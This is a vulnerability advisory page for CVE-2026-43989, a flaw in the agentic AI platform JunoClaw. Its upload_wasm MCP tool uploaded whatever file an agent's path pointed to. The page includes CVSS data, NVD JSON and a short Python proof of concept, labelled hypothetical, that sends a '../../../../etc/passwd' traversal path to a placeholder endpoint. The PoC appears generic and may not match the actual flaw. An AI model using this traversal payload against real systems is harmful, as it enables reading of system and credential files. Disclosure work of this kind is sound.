Security Vulnerability Report
中文
CVE-2026-43989 CVSS 8.5 HIGH

CVE-2026-43989

Published: 2026-05-12 17:16:21
Last Modified: 2026-05-13 14:54:50

Description

JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the upload_wasm MCP tool accepted a filesystem path from the agent and uploaded whatever bytes the path resolved to, with no validation of location, symlink target, file size, or file format. This vulnerability is fixed in 0.x.y-security-1.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

JunoClaw < 0.x.y-security-1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Hypothetical exploit for the upload_wasm tool # The vulnerability allows reading arbitrary files due to lack of path validation. target_url = "http://vulnerable-host:port/api/upload_wasm" # Malicious path attempting to traverse directories and read /etc/passwd # Adjust the traversal depth based on the working directory of the application malicious_path = "../../../../../../etc/passwd" payload = { "path": malicious_path } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Potential Vulnerability Detected!") print("[+] Response Content:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] Error during exploit attempt:", str(e))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43989", "sourceIdentifier": "[email protected]", "published": "2026-05-12T17:16:20.800", "lastModified": "2026-05-13T14:54:50.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the upload_wasm MCP tool accepted a filesystem path from the agent and uploaded whatever bytes the path resolved to, with no validation of location, symlink target, file size, or file format. This vulnerability is fixed in 0.x.y-security-1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-59"}, {"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://github.com/Dragonmonk111/junoclaw/commit/a7886cd", "source": "[email protected]"}, {"url": "https://github.com/Dragonmonk111/junoclaw/releases/tag/v0.x.y-security-1", "source": "[email protected]"}, {"url": "https://github.com/Dragonmonk111/junoclaw/security/advisories/GHSA-rw59-34hw-pmwp", "source": "[email protected]"}]}}